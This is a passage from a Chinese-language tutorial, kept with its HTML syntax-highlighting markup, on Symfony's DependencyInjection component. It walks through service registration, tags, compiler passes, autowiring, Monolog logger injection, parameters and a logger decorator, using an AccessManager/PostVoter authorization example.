<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Reference</span><span class="p">;</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">register</span><span class="p">(</span><span class="s1">'post_voter'</span><span class="p">,</span> <span class="nx">PostVoter</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">setPublic</span><span class="p">(</span><span class="k">false</span><span class="p">);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">register</span><span class="p">(</span><span class="s1">'access_manager'</span><span class="p">,</span> <span class="nx">AccessManager</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">setPublic</span><span class="p">(</span><span class="k">true</span><span class="p">)</span>
<span class="o">-></span><span class="na">addArgument</span><span class="p">([</span><span class="k">new</span> <span class="nx">Reference</span><span class="p">(</span><span class="s1">'post_voter'</span><span class="p">)]);</span>
</code></pre></div>
<p>在配置文件中<code>$container</code>变量和<code>$loader</code>变量是可以直接访问的</p>
<p>前者是容器,后者是PhpFileLoader对象</p>
<p>上面的配置文件注册了两个服务,并给access_manager设置了构造函数的参数</p>
<p>在index.php中只需要将配置文件加载上来就行了</p>
<div class="highlight"><pre><span></span><code><span class="x">$containerBuilder = new ContainerBuilder();</span>
<span class="x">$loader = new PhpFileLoader($containerBuilder, new FileLocator(__DIR__.'/../config'));</span>
<span class="x">// we'll create a config/config.php file to handle our configuration</span>
<span class="x">$loader->load('config.php');</span>
<span class="x">$containerBuilder->compile();</span>
<span class="x">dump($containerBuilder);die;</span>
</code></pre></div>
<p><img alt="1623164149595" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/UOSgmKpEcz.jpg"></p>
<h2>自动配置</h2>
<p>通过创建一个Definition的原型,我们可以控制注入进容器中的服务</p>
<p>config.php</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="c1">// config/config.php</span>
<span class="k">use</span> <span class="nx">App\Authorization\AccessManager</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\Voter\PostVoter</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Reference</span><span class="p">;</span>
<span class="nv">$definition</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Definition</span><span class="p">();</span>
<span class="nv">$definition</span><span class="o">-></span><span class="na">setPublic</span><span class="p">(</span><span class="k">false</span><span class="p">);</span>
<span class="nv">$loader</span><span class="o">-></span><span class="na">registerClasses</span><span class="p">(</span><span class="nv">$definition</span><span class="p">,</span> <span class="s1">'App\\'</span><span class="p">,</span> <span class="s1">'../src/*'</span><span class="p">);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">getDefinition</span><span class="p">(</span><span class="nx">AccessManager</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">setPublic</span><span class="p">(</span><span class="k">true</span><span class="p">)</span>
<span class="o">-></span><span class="na">addArgument</span><span class="p">([</span><span class="k">new</span> <span class="nx">Reference</span><span class="p">(</span><span class="nx">PostVoter</span><span class="o">::</span><span class="na">class</span><span class="p">)]);</span>
</code></pre></div>
<p>可以看到我们设置的Definition原型是所有服务都是隐藏的,无法直接获取,如果想要暴露出来,需要单独使用setPublic设置为公开的</p>
<p>而且,进行完上述配置之后,需要执行compile方法使配置生效,另外,从容器中获取服务的时候要是用FQCN</p>
<p>index.php</p>
<div class="highlight"><pre><span></span><code><span class="x">$containerBuilder = new ContainerBuilder();</span>
<span class="x">$loader = new PhpFileLoader($containerBuilder, new FileLocator(__DIR__.'/../config'));</span>
<span class="x">// we'll create a config/config.php file to handle our configuration</span>
<span class="x">$loader->load('config.php');</span>
<span class="x">$containerBuilder->compile();</span>
<span class="x">dump($containerBuilder->get(AccessManager::class));</span>
<span class="x">die;</span>
</code></pre></div>
<p><img alt="1623165165077" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/kQkMNZzxoZ.jpg"></p>
<p>上面的配置文件有一点瑕疵,就是registerClasses方法将APP命名空间以及src目录下的所有类都注册到了容器中,但是有一部分类是没必要注册的,比如Entity目录下的类</p>
<p><img alt="1623165418292" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/kVSOIgMtvP.jpg"></p>
<p>这时我们只需要给registerClasses传入第四个参数用于排除不想注册的类即可</p>
<div class="highlight"><pre><span></span><code><span class="nv">$loader</span>->registerClasses<span class="o">(</span><span class="nv">$definition</span>,<span class="w"> </span><span class="s1">'App\\'</span>,<span class="w"> </span><span class="s1">'../src/*'</span>,<span class="w"> </span><span class="s2">"../src/Entity/*"</span><span class="o">)</span><span class="p">;</span>
</code></pre></div>
<p><img alt="1623165453707" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wYJXOtbgdJ.jpg"></p>
<h2>service tag</h2>
<p>顾名思义就是给服务打上标签</p>
<p>config.php</p>
<div class="highlight"><pre><span></span><code><span class="x">$definition = new Definition();</span>
<span class="x">$definition->setPublic(false);</span>
<span class="x">$container->registerForAutoconfiguration(VoterInterface::class)</span>
<span class="x"> ->addTag('app.voter');</span>
<span class="x">$loader->registerClasses($definition, 'App\\', '../src/*', "../src/Entity/*");</span>
<span class="x">$container->getDefinition(AccessManager::class)</span>
<span class="x"> ->setPublic(true)</span>
<span class="x"> ->addArgument($container->findTaggedServiceIds('app.voter'));</span>
</code></pre></div>
<p><strong>在上面的代码中,我们使用<code>registerForAutoconfiguration</code>方法给所有实现了<code>VoterInterface</code>接口的类打上了<code>app.voter</code>的标签</strong></p>
<p>当我们需要获取拥有该标签的服务时,只需执行如下代码即可</p>
<div class="highlight"><pre><span></span><code><span class="x">$container->findTaggedServiceIds('app.voter')</span>
</code></pre></div>
<p>但是,光这样还不行,标签只有在容器编译的时候才会真正打上,此时AccessManager服务中的voter是空的</p>
<p><img alt="1623166132256" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/MLHMRchWBY.jpg"></p>
<p>这个时候我们就需要引入<strong>CompilerPass</strong>概念了</p>
<h2>CompilerPass</h2>
<p>compiler pass使得我们可以操作已经注册在容器中的服务定义</p>
<p>在本例中,我们创建一个VoterPass类,<strong>该类需要实现<code>Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface</code>接口的process方法,该方法会biaojigaoliang1在容器编译的时候执行biaojigaoliang2</strong></p>
<div class="highlight"><pre><span></span><code><?php
namespace<span class="w"> </span>App<span class="se">\D</span>ependencyInjection<span class="se">\C</span>ompiler<span class="p">;</span>
use<span class="w"> </span>App<span class="se">\A</span>uthorization<span class="se">\A</span>ccessManager<span class="p">;</span>
use<span class="w"> </span>Symfony<span class="se">\C</span>omponent<span class="se">\D</span>ependencyInjection<span class="se">\A</span>rgument<span class="se">\T</span>aggedIteratorArgument<span class="p">;</span>
use<span class="w"> </span>Symfony<span class="se">\C</span>omponent<span class="se">\D</span>ependencyInjection<span class="se">\C</span>ompiler<span class="se">\C</span>ompilerPassInterface<span class="p">;</span>
use<span class="w"> </span>Symfony<span class="se">\C</span>omponent<span class="se">\D</span>ependencyInjection<span class="se">\C</span>ontainerBuilder<span class="p">;</span>
class<span class="w"> </span>VoterPass<span class="w"> </span>implements<span class="w"> </span>CompilerPassInterface
<span class="o">{</span>
<span class="w"> </span>public<span class="w"> </span><span class="k">function</span><span class="w"> </span>process<span class="o">(</span>ContainerBuilder<span class="w"> </span><span class="nv">$container</span><span class="o">)</span>
<span class="w"> </span><span class="o">{</span>
<span class="w"> </span><span class="nv">$accessManagerDefinition</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$container</span>->getDefinition<span class="o">(</span>AccessManager::class<span class="o">)</span><span class="p">;</span>
<span class="w"> </span><span class="nv">$accessManagerDefinition</span>->addArgument<span class="o">(</span>new<span class="w"> </span>TaggedIteratorArgument<span class="o">(</span><span class="s1">'app.voter'</span><span class="o">))</span><span class="p">;</span>
<span class="w"> </span><span class="o">}</span>
<span class="o">}</span>
</code></pre></div>
<p>在上面的代码中,我么使用了<code>TaggedIteratorArgument</code>类来完成对所有打了<code>app.voter</code>标签的服务的注入</p>
<p>然后我们将VoterPass注册到容器中即可</p>
<p>index.php</p>
<div class="highlight"><pre><span></span><code><span class="nv">$containerBuilder</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>new<span class="w"> </span>ContainerBuilder<span class="o">()</span><span class="p">;</span>
<span class="nv">$containerBuilder</span>->addCompilerPass<span class="o">(</span>new<span class="w"> </span>VoterPass<span class="o">())</span><span class="p">;</span>
</code></pre></div>
<p>另外,还需要将Definition设置为<code>Autoconfigured</code>以实现标签服务的注入</p>
<p>同时在注册类的时候将VoterPass类所处的目录排除</p>
<p>config.php</p>
<div class="highlight"><pre><span></span><code><span class="x">$definition = new Definition();</span>
<span class="x">$definition</span>
<span class="x"> ->setAutoconfigured(true)</span>
<span class="x"> ->setPublic(false);</span>
<span class="x">$container->registerForAutoconfiguration(VoterInterface::class)</span>
<span class="x"> ->addTag('app.voter');</span>
<span class="x">$loader->registerClasses($definition, 'App\\', '../src/*', '../src/{Entity,DependencyInjection}');</span>
<span class="x">$container->getDefinition(AccessManager::class)</span>
<span class="x"> ->setPublic(true);</span>
</code></pre></div>
<p>这样以来,当我们需要给AccessManager新增Voter的时候,只需要实现<code>VoterInterface</code>接口即可</p>
<p><img alt="1623167048807" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/kiUqcAWFIq.jpg"></p>
<h2>控制器</h2>
<p>在上面的例子中,AccessManager是可以直接被我们访问到的,但是在实际的工作中这并不是一个很好的做法</p>
<p>我们更倾向于使用controller(控制器)来进行访问,这里需要用到autowiring,这个和java的框架Spring Framework是一样的,都拥有<strong>根据类型自动注入依赖</strong>的功能</p>
<p><strong>autowiring可以最大化的简化配置,它可以根据函数的的类型提示自动注入需要用到的服务</strong></p>
<p>首先需要对config.php进行一些修改</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">use</span> <span class="nx">App\Authorization\AccessManager</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\Voter\VoterInterface</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Definition</span><span class="p">;</span>
<span class="nv">$privateDefinition</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Definition</span><span class="p">();</span>
<span class="nv">$privateDefinition</span>
<span class="o">-></span><span class="na">setAutowired</span><span class="p">(</span><span class="k">true</span><span class="p">)</span>
<span class="o">-></span><span class="na">setAutoconfigured</span><span class="p">(</span><span class="k">true</span><span class="p">)</span>
<span class="o">-></span><span class="na">setPublic</span><span class="p">(</span><span class="k">false</span><span class="p">);</span>
<span class="nv">$publicDefinition</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Definition</span><span class="p">();</span>
<span class="nv">$publicDefinition</span>
<span class="o">-></span><span class="na">setAutowired</span><span class="p">(</span><span class="k">true</span><span class="p">)</span>
<span class="o">-></span><span class="na">setAutoconfigured</span><span class="p">(</span><span class="k">true</span><span class="p">)</span>
<span class="o">-></span><span class="na">setPublic</span><span class="p">(</span><span class="k">true</span><span class="p">);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">registerForAutoconfiguration</span><span class="p">(</span><span class="nx">VoterInterface</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">addTag</span><span class="p">(</span><span class="s1">'app.voter'</span><span class="p">);</span>
<span class="nv">$loader</span><span class="o">-></span><span class="na">registerClasses</span><span class="p">(</span><span class="nv">$privateDefinition</span><span class="p">,</span> <span class="s1">'App\\'</span><span class="p">,</span> <span class="s1">'../src/*'</span><span class="p">,</span> <span class="s1">'../src/{Entity,DependencyInjection}'</span><span class="p">);</span>
<span class="nv">$loader</span><span class="o">-></span><span class="na">registerClasses</span><span class="p">(</span><span class="nv">$publicDefinition</span><span class="p">,</span> <span class="s1">'App\\Controller\\'</span><span class="p">,</span> <span class="s1">'../src/Controller/*'</span><span class="p">);</span>
</code></pre></div>
<p>我们只将controller服务暴露了出来,其他被注册的服务全部都是私有的,无法被访问到</p>
<p><code>src\controller\PostController.php</code>:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">App\Controller</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\AccessManager</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Authorization\Voter\PostVoter</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Entity\Post</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">App\Entity\User</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">PostController</span>
<span class="p">{</span>
<span class="sd">/** @var AccessManager */</span>
<span class="k">private</span> <span class="nv">$accessManager</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nx">AccessManager</span> <span class="nv">$accessManager</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">accessManager</span> <span class="o">=</span> <span class="nv">$accessManager</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">index</span><span class="p">()</span>
<span class="p">{</span>
<span class="nv">$user</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="s1">'Alex'</span><span class="p">);</span>
<span class="nv">$admin</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="s1">'Admin'</span><span class="p">);</span>
<span class="nv">$admin</span><span class="o">-></span><span class="na">addRole</span><span class="p">(</span><span class="nx">User</span><span class="o">::</span><span class="na">ROLE_ADMIN</span><span class="p">);</span>
<span class="nv">$post</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Post</span><span class="p">();</span>
<span class="nx">dump</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">accessManager</span><span class="o">-></span><span class="na">decide</span><span class="p">(</span><span class="nx">PostVoter</span><span class="o">::</span><span class="na">READ</span><span class="p">,</span> <span class="nv">$post</span><span class="p">,</span> <span class="nv">$user</span><span class="p">));</span> <span class="c1">// true</span>
<span class="nx">dump</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">accessManager</span><span class="o">-></span><span class="na">decide</span><span class="p">(</span><span class="nx">PostVoter</span><span class="o">::</span><span class="na">READ</span><span class="p">,</span> <span class="nv">$post</span><span class="p">,</span> <span class="nv">$admin</span><span class="p">));</span> <span class="c1">// true</span>
<span class="nx">dump</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">accessManager</span><span class="o">-></span><span class="na">decide</span><span class="p">(</span><span class="nx">PostVoter</span><span class="o">::</span><span class="na">WRITE</span><span class="p">,</span> <span class="nv">$post</span><span class="p">,</span> <span class="nv">$user</span><span class="p">));</span> <span class="c1">// false</span>
<span class="nx">dump</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">accessManager</span><span class="o">-></span><span class="na">decide</span><span class="p">(</span><span class="nx">PostVoter</span><span class="o">::</span><span class="na">WRITE</span><span class="p">,</span> <span class="nv">$post</span><span class="p">,</span> <span class="nv">$admin</span><span class="p">));</span> <span class="c1">// true</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>AccessManager服务会自动注入以进行PostController服务的初始化</p>
<p>然后我们就可以在index.php中调用PostController的index方法了</p>
<div class="highlight"><pre><span></span><code><span class="x">$containerBuilder->get(PostController::class)->index()</span>
</code></pre></div>
<p><img alt="1623729218286" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/IyJHcjmXkT.jpg"></p>
<h2>通过服务的setter方法进行服务注入</h2>
<p>我们给AccessManager类增加一个set方法</p>
<div class="highlight"><pre><span></span><code><span class="x">public function setVoters(iterable $voters)</span>
<span class="x">{</span>
<span class="x"> $this->voters = $voters;</span>
<span class="x">}</span>
</code></pre></div>
<p>VoterPass类也要随之改变</p>
<div class="highlight"><pre><span></span><code><span class="x">public function process(ContainerBuilder $container)</span>
<span class="x">{</span>
<span class="x"> $accessManagerDefinition = $container->getDefinition(AccessManager::class);</span>
<span class="x"> $accessManagerDefinition->addMethodCall('setVoters', [new TaggedIteratorArgument('app.voter')]);</span>
<span class="x">}</span>
</code></pre></div>
<p><strong>可以看到,之前是给AccessManager的构造函数传参,现在直接改成了调用AccessManager的setVoters方法并传递参数,biaojigaoliang1另外还需要删除AccessManager的构造函数biaojigaoliang2,如果不进行更改,是会报错的,因为symfony会尝试使用autowiring对AccessManager进行自动的依赖注入,但是构造函数的参数类型是<code>iterable</code>,进而会导致报错</strong></p>
<p>更好的做法是使用addVoter方法而不是setVoters方法,这样可以在<strong>biaojigaoliang1逐一biaojigaoliang2增加Voter的过程中进行一些验证</strong></p>
<p>AccessManager.php</p>
<div class="highlight"><pre><span></span><code><span class="x">public function addVoter(VoterInterface $voter)</span>
<span class="x">{</span>
<span class="x"> $this->voters[] = $voter;</span>
<span class="x">}</span>
</code></pre></div>
<p>注意,php正加数组元素的方式就是直接赋值<code>$this->voters[] = $voter</code>,xdm可以运行下面这段代码来加深理解</p>
<div class="highlight"><pre><span></span><code><span class="x">$array = array('test1', 'test2');</span>
<span class="x">$array[] = 'test3';</span>
<span class="x">$array['name'] = 'jack';</span>
<span class="x">var_dump($array);</span>
</code></pre></div>
<p>VoterPass.php</p>
<div class="highlight"><pre><span></span><code><span class="x">public function process(ContainerBuilder $container)</span>
<span class="x">{</span>
<span class="x"> $accessManagerDefinition = $container->getDefinition(AccessManager::class);</span>
<span class="x"> $voters = $container->findTaggedServiceIds('app.voter');</span>
<span class="x"> foreach ($voters as $serviceId => $tagAttributes) {</span>
<span class="x"> $accessManagerDefinition->addMethodCall('addVoter', [new Reference($serviceId)]);</span>
<span class="x"> }</span>
<span class="x">}</span>
</code></pre></div>
<p>这样写的好处在于,如果你给没有实现VoterInterface的服务也打上了app.voter的标签,那么在调用addVoter方法的时候会抛出异常</p>
<p><img alt="1623799422614" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/BRysjvjyHG.jpg"></p>
<h1>高级用法</h1>
<h2>使用monolog日志服务</h2>
<p>新建配置文件<code>config/monolog.php</code></p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">use</span> <span class="nx">Monolog\Handler\StreamHandler</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Monolog\Logger</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Psr\Log\LoggerInterface</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Reference</span><span class="p">;</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">register</span><span class="p">(</span><span class="nx">StreamHandler</span><span class="o">::</span><span class="na">class</span><span class="p">,</span> <span class="nx">StreamHandler</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">addArgument</span><span class="p">(</span><span class="no">__DIR__</span><span class="o">.</span><span class="s1">'/../var/app.log'</span><span class="p">);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">register</span><span class="p">(</span><span class="nx">LoggerInterface</span><span class="o">::</span><span class="na">class</span><span class="p">,</span> <span class="nx">Logger</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">addArgument</span><span class="p">(</span><span class="s1">'voter'</span><span class="p">)</span>
<span class="o">-></span><span class="na">addMethodCall</span><span class="p">(</span><span class="s1">'pushHandler'</span><span class="p">,</span> <span class="p">[</span><span class="k">new</span> <span class="nx">Reference</span><span class="p">(</span><span class="nx">StreamHandler</span><span class="o">::</span><span class="na">class</span><span class="p">)]);</span>
</code></pre></div>
<p>现在日志服务注册完了,我们需要将其注入到PostVoter服务中,我们首先想到的注入方式就是通过PostVoter的构造函数参数提示来自动进行注入</p>
<p>其实有一种更好的方法,我们可以通过<code>Psr\Log\LoggerAwareInterface</code>接口来进行日志服务的注入,所有实现了<code>Psr\Log\LoggerAwareInterface</code>接口的服务都会实现一个<code>setLogger</code>方法,借助该方法我们可以实现日志服务的注入</p>
<p>修改后的<code>config/monolog.php</code>如下:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">use</span> <span class="nx">Monolog\Handler\StreamHandler</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Monolog\Logger</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Psr\Log\LoggerAwareInterface</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Psr\Log\LoggerInterface</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Reference</span><span class="p">;</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">register</span><span class="p">(</span><span class="nx">StreamHandler</span><span class="o">::</span><span class="na">class</span><span class="p">,</span> <span class="nx">StreamHandler</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">addArgument</span><span class="p">(</span><span class="no">__DIR__</span><span class="o">.</span><span class="s1">'/../var/app.log'</span><span class="p">);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">register</span><span class="p">(</span><span class="nx">LoggerInterface</span><span class="o">::</span><span class="na">class</span><span class="p">,</span> <span class="nx">Logger</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">addArgument</span><span class="p">(</span><span class="s1">'voter'</span><span class="p">)</span>
<span class="o">-></span><span class="na">addMethodCall</span><span class="p">(</span><span class="s1">'pushHandler'</span><span class="p">,</span> <span class="p">[</span><span class="k">new</span> <span class="nx">Reference</span><span class="p">(</span><span class="nx">StreamHandler</span><span class="o">::</span><span class="na">class</span><span class="p">)]);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">registerForAutoconfiguration</span><span class="p">(</span><span class="nx">LoggerAwareInterface</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">addMethodCall</span><span class="p">(</span><span class="s1">'setLogger'</span><span class="p">,</span> <span class="p">[</span><span class="k">new</span> <span class="nx">Reference</span><span class="p">(</span><span class="nx">LoggerInterface</span><span class="o">::</span><span class="na">class</span><span class="p">)]);</span>
</code></pre></div>
<p>使用<code>registerForAutoconfiguration</code>方法来进行日志服务的注入</p>
<p>然后我们的PostVoter服务只需要实现<code>LoggerAwareInterface</code>接口即可</p>
<div class="highlight"><pre><span></span><code><span class="x">class PostVoter implements VoterInterface, LoggerAwareInterface</span>
<span class="x">{</span>
<span class="x"> use LoggerAwareTrait;</span>
<span class="x"> ...</span>
<span class="x">}</span>
</code></pre></div>
<p>我们甚至都不用自己去实现<code>LoggerAwareInterface</code>接口,只需要一句<code>use LoggerAwareTrait</code>即可</p>
<p>我们在PostVoter类的vote方法中加入如下语句来测试我们的日志服务是否被正常注入</p>
<div class="highlight"><pre><span></span><code><span class="x">$this->logger->debug(self::class . ' executed.');</span>
</code></pre></div>
<p>可以正常生成日志文件,没有问题</p>
<p><img alt="1623811814372" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QLCpNNpjFk.jpg"></p>
<h2>处理参数</h2>
<p>在上面的日志服务的配置中,我们需要传递几个参数</p>
<p>symfony的依赖注入允许我们设置参数并将其注入或者应用到我们的app中</p>
<p>创建<code>config/parameters.php</code>文件</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">setParameter</span><span class="p">(</span><span class="s1">'root_dir'</span><span class="p">,</span> <span class="no">__DIR__</span><span class="o">.</span><span class="s1">'/..'</span><span class="p">);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">setParameter</span><span class="p">(</span><span class="s1">'app.logger.voter_channel'</span><span class="p">,</span> <span class="s1">'voter'</span><span class="p">);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">setParameter</span><span class="p">(</span><span class="s1">'app.logger.file_path'</span><span class="p">,</span> <span class="s1">'%root_dir%/var/app.log'</span><span class="p">);</span>
</code></pre></div>
<p><strong>该文件应该在所有配置文件加载之前被加载</strong></p>
<p><code>public/index.php</code>:</p>
<div class="highlight"><pre><span></span><code><span class="x">...</span>
<span class="x">$loader->load('parameters.php');</span>
<span class="x">$loader->load('config.php');</span>
<span class="x">$loader->load('monolog.php');</span>
<span class="x">...</span>
</code></pre></div>
<p>在<code>parameters.php</code>配置文件中我们设置了三个参数</p>
<ul>
<li>应用的根目录</li>
<li>日志的描述性名称</li>
<li>日志文件路径</li>
</ul>
<p>下面是容器编译前后的参数变化,可以看到编译之后的<code>%root_dir%</code>被替换成了绝对路径</p>
<p><img alt="1623813096744" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JqAAcwNzNs.jpg"></p>
<p><img alt="1623813108229" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ojKXEVldeZ.jpg"></p>
<p>更新我们的<code>config/monolog.php</code>文件</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">use</span> <span class="nx">Monolog\Handler\StreamHandler</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Monolog\Logger</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Psr\Log\LoggerAwareInterface</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Psr\Log\LoggerInterface</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Symfony\Component\DependencyInjection\Reference</span><span class="p">;</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">register</span><span class="p">(</span><span class="nx">StreamHandler</span><span class="o">::</span><span class="na">class</span><span class="p">,</span> <span class="nx">StreamHandler</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">addArgument</span><span class="p">(</span><span class="s1">'%app.logger.file_path%'</span><span class="p">);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">register</span><span class="p">(</span><span class="nx">LoggerInterface</span><span class="o">::</span><span class="na">class</span><span class="p">,</span> <span class="nx">Logger</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">addArgument</span><span class="p">(</span><span class="s1">'%app.logger.voter_channel%'</span><span class="p">)</span>
<span class="o">-></span><span class="na">addMethodCall</span><span class="p">(</span><span class="s1">'pushHandler'</span><span class="p">,</span> <span class="p">[</span><span class="k">new</span> <span class="nx">Reference</span><span class="p">(</span><span class="nx">StreamHandler</span><span class="o">::</span><span class="na">class</span><span class="p">)]);</span>
<span class="nv">$container</span><span class="o">-></span><span class="na">registerForAutoconfiguration</span><span class="p">(</span><span class="nx">LoggerAwareInterface</span><span class="o">::</span><span class="na">class</span><span class="p">)</span>
<span class="o">-></span><span class="na">addMethodCall</span><span class="p">(</span><span class="s1">'setLogger'</span><span class="p">,</span> <span class="p">[</span><span class="k">new</span> <span class="nx">Reference</span><span class="p">(</span><span class="nx">LoggerInterface</span><span class="o">::</span><span class="na">class</span><span class="p">)]);</span>
</code></pre></div>
<p><strong>将以前的硬编码替换城变量</strong></p>
<p>现在我们的应用程序已经像模像样了:</p>
<ul>
<li>应用参数保存在parameters.php文件中</li>
<li>应用程序的配置保存在config.php中</li>
<li>第三方库的配置在以他们自己命名的配置文件中:monolog.php</li>
</ul>
<h2>装饰服务</h2>
<p>上面我们使用了monolog来进行日志的生成,现在我们可以对其进行装饰以生成更加漂亮的日志</p>
<p>新建<code>src/Logger/FancyLoggerDecorator.php</code>装饰器</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="nx">App\Logger</span><span class="p">;</span>
<span class="k">use</span> <span class="nx">Psr\Log\LoggerInterface</span><span class="p">;</span>
<span class="k">class</span> <span class="nc">FancyLoggerDecorator</span> <span class="k">implements</span> <span class="nx">LoggerInterface</span>
<span class="p">{</span>
<span class="sd">/** @var LoggerInterface */</span>
<span class="k">private</span> <span class="nv">$decoratedLogger</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nx">LoggerInterface</span> <span class="nv">$decoratedLogger</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">decoratedLogger</span> <span class="o">=</span> <span class="nv">$decoratedLogger</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">emergency</span><span class="p">(</span><span class="nv">$message</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$context</span> <span class="o">=</span> <span class="k">array</span><span class="p">())</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">decoratedLogger</span><span class="o">-></span><span class="na">emergency</span><span class="p">(</span><span class="s1">'🆘 '</span><span class="o">.</span><span class="nv">$message</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">alert</span><span class="p">(</span><span class="nv">$message</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$context</span> <span class="o">=</span> <span class="k">array</span><span class="p">())</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">decoratedLogger</span><span class="o">-></span><span class="na">alert</span><span class="p">(</span><span class="s1">'🚨 '</span><span class="o">.</span><span class="nv">$message</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">function</span> <span class="nf">critical</span><span class="p">(</span><span class="nv">$message</span><span class="p">,</span> <span class="k">array</span> <span class="nv">$context</span> <span class="o">=</span> <span class="k">array</span><span class="p">())</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">decoratedLogger</span><span class="o">-></span><span class="na">critical</span><span class="p">(</span><span class="s1">'🛑 '</span><span class="o">.</span><span class="nv">$message</span><span class="p">,</span> <span class="nv">$context</span><span class="p">);</span>
